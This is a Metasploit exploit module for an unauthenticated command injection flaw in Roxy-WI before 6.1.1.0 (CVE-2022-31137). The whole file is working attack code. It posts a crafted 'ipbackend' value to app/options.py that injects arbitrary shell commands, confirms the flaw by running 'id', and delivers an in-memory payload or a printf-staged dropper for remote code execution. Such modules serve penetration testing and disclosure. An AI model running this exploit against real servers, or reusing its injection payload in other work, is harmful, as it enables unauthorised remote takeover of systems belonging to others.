##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in Roxy-WI
          prior to version 6.1.1.0. Successful exploitation results in remote code execution
          under the context of the web server user.

          Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module
        ],
        'References' => [
          ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
          ['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
          ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
          ['CVE', '2022-31137']
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'WfsDelay' => 25
        },
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :in_memory
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper
            }
          ]
        ],
        'CmdStagerFlavor' => ['printf'],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-07-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(443),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
  end

  def execute_command(cmd, _opts = {})
    return send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
        'vars_post' => {
          'serv' => '127.0.0.1',
          'ipbackend' => "\"; #{cmd} ;#",
          'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
          'backend_server' => '127.0.0.1'
        }
      }, 10
    )
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
    return nil
  end

  def check
    print_status("Checking if #{peer} is vulnerable!")

    res = execute_command('id')

    return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res

    if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
      print_status("#{peer} is vulnerable!")
      return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
    elsif res.code == 200
      return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
    else
      return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
    end
  end

  def exploit
    print_status('Exploiting...')
    case target['Type']
    when :in_memory
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager
    end
  end
end
